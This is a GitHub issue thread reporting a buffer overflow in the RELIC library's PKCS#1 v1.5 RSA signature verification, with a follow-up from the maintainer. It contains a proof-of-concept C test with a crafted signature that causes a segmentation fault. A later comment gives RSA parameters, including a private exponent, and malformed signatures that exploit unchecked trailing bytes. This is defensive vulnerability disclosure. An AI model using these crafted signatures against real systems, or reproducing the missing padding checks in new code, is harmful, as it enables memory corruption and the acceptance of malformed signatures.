New issue

Jump to bottom

buffer overflow in PKCS1v1.5 signature verification #155

Open 1one-w01f opened this issue on Jun 29, 2020 · 2 comments

1one-w01f commented on Jun 29, 2020 • edited

Actually besides the problems mentioned in #154, there seems to be additional problems in the PKCS1v1.5 signature verification code that can lead to a buffer overflow attack.

Although the variable `pad_len` is set according to prior knowledge on line 965, it will actually be overwritten on line 1000 by the call to `pad_pkcs1()`.

And because `pad_pkcs1()` doesn't require that the padding is 1) at least 8-byte long; 2) long enough so that there'd be no extra trailing bytes after the hash value, the value of `pad_len` can be set to a really small number when given a malformed signature with really short padding. Then on line 1013 it is possible to have `size - pad_len` to be a really large value, larger than the size of `h1` allocated on line 949, which can lead to a buffer overflow.

Similar problems of not requiring a padding with appropriate length was found in some other implementations before, and that can usually be exploited for signature forgery (like in Bleichenbacher's original attack). However, in this case it will induce a buffer overflow instead because of how `pad_len` was used to calculate the size of a subsequent buffer write (though I suspect the variable `result` might be set to `RLC_EQ` after line 1033).

Here's a proof-of-concept code demonstrating the problem, which should give a Segmentation Fault upon the completion of the signature verification:

```
/**
 * @file
 *
 * Tests for implementation of cryptographic protocols.
 *
 * @version $Id$
 * @ingroup test
 */

#include <stdio.h>

#include "relic.h"
#include "relic_test.h"

#define MODULUS_SIZE_IN_BITS RLC_BN_BITS
#define MSG "hello world"

static int rsa(void) {
        int code = RLC_ERR;

        uint8_t sig[MODULUS_SIZE_IN_BITS / 8 + 1] =
        {   0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xaa,
0xea, 0xec, 0x40, 0x11, 0x5d, 0x29, 0x07, 0xe3, 0x54, 0xcf, 0xc3, 0xe6, 0x95, 0x59, 0x3a, 0x73, 0x6b, 0x6b,
0x41, 0x17, 0x29, 0x0d, 0xc3, 0x6e, 0x90, 0xde, 0x3e, 0x69, 0x54, 0xb4, 0xa5, 0xb9, 0x58, 0x51, 0x44, 0x6b,
0xf3, 0xec, 0x23, 0x6c, 0x39, 0xc8, 0x2c, 0xa8, 0xad, 0x9c, 0x3a, 0x5d, 0x94, 0xef, 0x89, 0x60, 0xd5, 0x4b,
0x04, 0xff, 0x6b, 0xf1, 0xca, 0x35, 0x0e, 0xdb, 0x86, 0x2f, 0x92, 0xa0, 0xf6, 0xd9, 0x24, 0xd5, 0xff, 0x2a,
0x43, 0xd0, 0xe8, 0x6b, 0x9e, 0xbc, 0x18, 0x80, 0x4c, 0xd2, 0xea, 0xb1, 0x24, 0xfc, 0x7c, 0xfb, 0xac, 0xbb,
0x8b, 0x90, 0x9f, 0x29, 0x7c, 0x8a
        };
        int ol = MODULUS_SIZE_IN_BITS / 8 + 1;

        rsa_t pub;
        rsa_null(pub);

        RLC_TRY {

                rsa_new(pub);

                // set e to 3
                bn_set_2b(pub->e, 1);
                bn_add_dig(pub->e, pub->e, 1);

                // set n
                bn_read_str(pub->crt->n, "af5110f2c75400a4ceb31b3763303f71b6ee517dad3b108fd4b675774c9e2d5649784c2b3ba6b93b80175c79db9619b73b5b1e575f65faadfc613fa00b449895407ff696581eb

                TEST_BEGIN("rsa signature/verification is correct") {
                        TEST_ASSERT(cp_rsa_ver(sig, ol, MSG, strlen(MSG), 0, pub) == 1, end);
                } TEST_END;

        } RLC_CATCH_ANY {
                RLC_ERROR(end);
        }
        code = RLC_OK;

end:
        rsa_free(pub);
        return code;
}

int main(void) {

        if (core_init() != RLC_OK) {
                core_clean();
                return 1;
        }

        util_banner("Tests for the CP module", 0);

#if defined(WITH_BN)

        util_banner("Protocols based on integer factorization:\n", 0);

        if (rsa() != RLC_OK) {
                core_clean();
                return 1;
        }

#endif

        util_banner("All tests have passed.\n", 0);

        core_clean();
```

```
        return 0;
}
```

dfaranha added a commit that referenced this issue on Aug 1, 2020

`Fix #154 and #155 by inverting the padding check logic and being more…` … `76c9a1f`

dfaranha closed this as completed on Jan 19, 2021

---

yahyazadeh commented on Apr 3, 2021 • edited

@dfaranha: Following up on this issue, I guess the buffer overflow issue has not been properly addressed yet.

In short, I think this issue stems from failing to check the tailing garbage bytes.

Detailed root cause. The implementation does not check that after the hash value bytes, there are no tailing garbage bytes. Once `pad_pkcs1()` function is called to unpad the encoded message's prefix, the counter referring to the end of padding is updated such that to indicate the beginning of the hash value portion. Then all checks are done to make sure the encoded message's ASN.1 related bytes right before hash value matches up with the expected bytes (calculated by `hash_id()`), lines 358-372. However, neither `pad_pkcs1()` function nor the callee checks that the hash value bytes has no tailing garbage (i.e., the length of hash value bytes are equal to the expected hash length). This tailing garbage bytes can be added by borrowing bytes from the padding bytes to make sure the length of malformed encoded message is not changed. Now after unpadding and knowing the position of hash value bytes, the implementation copies everything from hash value to the end of encoded message into another memory space (pointed by `h1` in the code) to be compared with computed hash value (pointed by `h2`). Then, the comparison takes place to compare them with respect to the expected hash length and thus the tailing garbage bytes are ignored, if there is any. Based on my parameter settings mentioned below, I have observed `8` tailing garbage bytes can be simply ignored by the verification function (still not practical to launch a Bleichenbacher-style RSA Low Exponent Signature Forgery attack) but more than `8` tailing garbage bytes make it susceptible to buffer overflow attack.

Reference notation

- `N` : public modulus
- `|N|` : length of public modulus
- `d` : private exponent
- `e` : public exponent
- `H` : hash function
- `m` : message
- `I` : to-be-singed RSA PKCS#1 v1.5 signature scheme input structure
- `S` : signature value obtained by `I^d mod N`

Parameter settings

```
N =
0xE932AC92252F585B3A80A4DD76A897C8B7652952FE788F6EC8DD640587A1EE5647670A8AD4C2BE0F9FA6E49C605ADF77B5174230AF7BD50E5D6D6D6D28CCF0A886A514CC72E51D209CC772A52EF419F6A953F3135929588EBE9B3

|N| = 256 bytes

d =
0x009b771db6c374e59227006de8f9c5ba85cf98c63754505f9f30939803afc1498eda44b1b1e32c7eb51519edbd9591ea4fce0f8175ca528e09939e48f37088a07059c36332f74368c06884f718c9f8114f1b8d4cb790c63b09d46

e = 3

H = SHA-256 (OID = 0x608648016503040201)

m = "hello world!"
```

Examples

- Example#1: `8` tailing garbage bytes (`0x88` s) are added after the hash value bytes, left unchecked.
  - `I =`
    `0x0001ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff`
    `ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff`
    `ffffffffffffffffffffffffffffffffffffffffff003031300d0609608648016503040201050004207509e5bda0c762d2bac7f90d758b5b2263fa01ccbc542ab5e3df163be08e6ca98888888888888888`
  - `S =`
    `0xbc606f742453663dadd0def9aa221d9745a8cfbb493b2159dde90cab3f34afa002a8edc84ade5f23ec27f3393aaeebef706d846e8f16c83b56d58a716ef68ae53cf6d258222a11418bfa745851d7a8d8127c9fa3388755`
    `5528c66fc431a8de990f66285545d46a88f9d23016d081aeb345c4eb213c71aaa82b6900eec21aea28fe06396191f880ab0b392870fac40eb0deebe68f9dc320442c0fe2cc3a0f25defe46b0a32b3e8ba01430f34fb043d4`
    `ce1287db93d6db5e2f0ea9f9bae946f7359d209b502028245a2b930d6753264f3966e649a5bae553a35918c2abe7e84c420e9caefa87c5a34d9e024d45a1da437333ff59d9291d6aa5a21ccfc0b6279a1b`
- Example#2: `202` tailing garbage bytes (`0x88` s) are added after the hash value bytes, causing segmentation fault.
  - `I =`
    `0x0001003031300d0609608648016503040201050004207509e5bda0c762d2bac7f90d758b5b2263fa01ccbc542ab5e3df163be08e6ca98888888888888888888888888888888888888888888888888888888888888888`
    `88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888`
    `88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888`
  - `S =`
    `0x36262822b5089bef18475b37fe61295421c76465cef497440686dc624a3f1ed51e82d609211d3754efc785c1b1603259c1f346f54ecea07393088fb2c2907c7f3018df2d0610f8492b819fa53b56a503cab1ff730aa218`
    `1e01d8e4021fef404bc891e13ceedae4d5ddc1f3a5daf6716e6bb527c8bed032266f3b3fddee11ae0d805afb768715e5ba78d37e8acef313919f38665e15914efb4d8e0031a6c0f59f7d94f11e450edfed50095a3688d1ac`
    `28845894c642e303a170881b83d2ad0a443bcf2beeabf2d7e2dd8f9761b26e860a5ccbb52c05d9558ec0a36cc1205ad62ac6b13e52f6a0f8a620bf9698cbeeb5370057dfc5df742fc7b9fe6839bf2dd4bb`

---

dfaranha commented on Apr 3, 2021 Contributor

You are absolutely right, and I have pushed a new fix attempting to solve this.

👍 1

dfaranha reopened this on Apr 3, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants